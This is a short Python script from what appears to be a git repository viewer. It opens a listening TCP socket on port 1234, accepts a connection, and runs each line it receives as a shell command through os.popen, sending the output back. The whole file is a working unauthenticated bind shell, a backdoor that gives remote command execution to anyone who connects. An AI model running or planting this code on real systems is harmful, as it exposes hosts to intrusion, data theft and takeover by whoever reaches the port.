blob: faa014d83148418b389020029778143b1ada6c2f (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
#!/usr/bin/env python3
import socket,os
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('', 1234))
s.listen()
conn,addr = s.accept()
while 1:
data = conn.recv(1024)
reponse=os.popen(data.decode()).read()
conn.sendall(str(reponse).encode())
except KeyboardInterrupt:
s.close()
finally:
print("bye")
|